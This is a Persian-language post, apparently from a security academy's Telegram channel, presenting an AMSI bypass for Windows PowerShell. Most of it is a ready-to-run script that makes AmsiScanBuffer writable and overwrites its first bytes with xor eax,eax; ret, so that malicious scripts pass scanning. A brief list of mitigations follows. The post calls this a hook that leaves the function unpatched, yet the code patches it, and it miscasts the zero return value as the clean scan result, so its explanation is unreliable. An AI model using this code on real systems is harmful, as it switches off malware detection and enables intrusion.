نوروز مبارک
🌸🌺🍀🍀🍀💐بررسی بای پس AMSI در گروه نوروز سنز ۵۹۹ تیم بنفش با تحلیل کد های نمونه ادامه دارد
🍎🍏جزئیات و تحلیل کد در گروه زیر
نوروز و سنز 599 در آکادمی روزبه
https://t.me/+2azCZP9ZQU1lMTc0🔹 تکنیک دوم: Hook کردن AMSI و دستکاری مقدار برگشتی
در این روش، به جای Patch کردن AmsiScanBuffer، مقدار برگشتی آن را دستکاری میکنیم تا همیشه نشان دهد که اسکریپت بیخطر است.
---
🔹 ایده کلی این روش
- این AMSI زمانی که یک اسکریپت در حال اجرا باشد، از تابع AmsiScanBuffer برای بررسی آن استفاده میکند.
- این تابع یک مقدار خروجی (AMSI_RESULT_CLEAN یا AMSI_RESULT_DETECTED) دارد.
- ما میتوانیم مقدار خروجی را بهصورت جعلی تغییر دهیم تا AMSI تصور کند که کد مخرب نیست.
---
🔹 کد PowerShell برای Hook کردن مقدار برگشتی AMSI
$Signature = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type -TypeDefinition $Signature -Language CSharp
# بارگذاری amsi.dll و گرفتن آدرس تابع AmsiScanBuffer
$AmsiDll = [Win32]::LoadLibrary("amsi.dll")
$AmsiScanBuffer = [Win32]::GetProcAddress($AmsiDll, "AmsiScanBuffer")
# تغییر سطح دسترسی حافظه به ReadWriteExecute
$OldProtection = 0
[Win32]::VirtualProtect($AmsiScanBuffer, [UIntPtr] 0x10, 0x40, [ref] $OldProtection)
# نوشتن مقدار جدید برای برگشت از تابع AmsiScanBuffer
$Patch = [Byte[]](0x31, 0xC0, 0xC3)
# 0x31, 0xC0 → دستور XOR EAX, EAX (مقدار برگشتی را 0 میکند)
# 0xC3 → دستور RET (بازگشت از تابع)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $AmsiScanBuffer, 3)
---
🔹 توضیح خط به خط کد
1️⃣ گرفتن آدرس تابع AmsiScanBuffer
- بارگذاری amsi.dll در حافظه.
- دریافت آدرس AmsiScanBuffer که وظیفه اسکن کدها را دارد.
2️⃣ تغییر سطح دسترسی حافظه - VirtualProtect سطح دسترسی را به EXECUTE_READWRITE تغییر میدهد تا بتوانیم تغییرات ایجاد کنیم.
3️⃣ نوشتن Shellcode برای تغییر مقدار برگشتی
- [0x31, 0xC0] → این دستور رجیستر EAX را صفر میکند که معادل مقدار AMSI_RESULT_CLEAN است.
- [0xC3] → این دستور RET است که اجرای تابع را متوقف میکند.
- نتیجه: AmsiScanBuffer همیشه مقدار تمیز (CLEAN) برمیگرداند، حتی اگر کد مخرب باشد.
---
🔹 چرا این روش کار میکند؟
✅ به جای حذف AmsiScanBuffer، مقدار برگشتی آن را دستکاری میکنیم.
✅ این روش پایداری بیشتری دارد چون AMSI هنوز فعال است، اما مقدار خروجیاش تغییر کرده است.
✅ تغییر مقدار برگشتی، باعث میشود که AMSI حتی بدافزارهای شناختهشده را نیز بیخطر گزارش کند.
---
🔹 روشهای مقابله با این حمله
🔸 فعال کردن Protected Process Light (PPL) که باعث میشود دستکاری حافظه amsi.dll سختتر شود.
🔸 اجرای PowerShell در حالت Constrained Language Mode که مانع اجرای توابع خاص C# و APIهای ویندوز میشود.
🔸 شناسایی تغییرات مشکوک در amsi.dll با EDR و SIEM.
🔸 استفاده از آنتیویروسهایی که Hooking را تشخیص میدهند.
---
🔹 جمعبندی ✅ این روش به جای غیرفعال کردن AmsiScanBuffer، مقدار برگشتی آن را تغییر میدهد.
✅ این تکنیک در بسیاری از بدافزارهای پیشرفته دیده شده است.
✅ شناسایی این روش سختتر است چون هنوز amsi.dll فعال است.
#آکادمی_روزبه